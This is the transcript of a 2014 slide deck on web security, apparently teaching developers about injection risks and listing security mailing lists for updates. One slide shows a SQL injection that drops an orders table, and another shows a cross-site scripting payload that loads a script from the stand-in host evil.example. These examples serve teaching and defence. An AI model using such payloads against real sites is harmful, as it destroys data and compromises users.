Upgrade to Pro — share decks privately, control downloads, hide ads and more …

There Is No Silver Bullet

There Is No Silver Bullet

Harley Watson

November 29, 2014
Tweet

More Decks by Harley Watson

Other Decks in Programming

Transcript

  1. GET  /tracker?order=12345”;   DROP  TABLE  orders;-­‐-­‐   SELECT  *  FROM

     orders  WHERE  order  =  “12345”;   DROP  TABLE  orders;-­‐-­‐”  AND  status  =  “pending”   Request  from   the  client  to  the  server   Request  from  the   webserver  to  the  database  
  2. GET  /hi?name=<script  src=“hep://evil.example/ l33thax.js”></script>   Hello,  <script  src=“hep://evil.example/ l33thax.js”></script>!  

    Request  from   the  client  to  the  server   Reply  from   the  server  to  the  client  
  3. Mailing  Lists   •  bugtraq   hep://www.securityfocus.com/archive/1   •  debian-­‐security-­‐announce

      heps://lists.debian.org/debian-­‐security-­‐announce/   •  fulldisclosure   hep://nmap.org/mailman/lis.nfo/fulldisclosure  
  4. Mailing  Lists   •  [email protected]   heps://hepd.apache.org/lists.html#hep-­‐announce   •  nginx-­‐announce

      hep://mailman.nginx.org/mailman/lis.nfo/nginx-­‐ announce   •  php-­‐announce   hep://php.net/mailing-­‐lists.php  
  5. By  placing  your  users’  informa.on  at   risk,  you  also

     risk  ruining  your   company’s  reputa.on.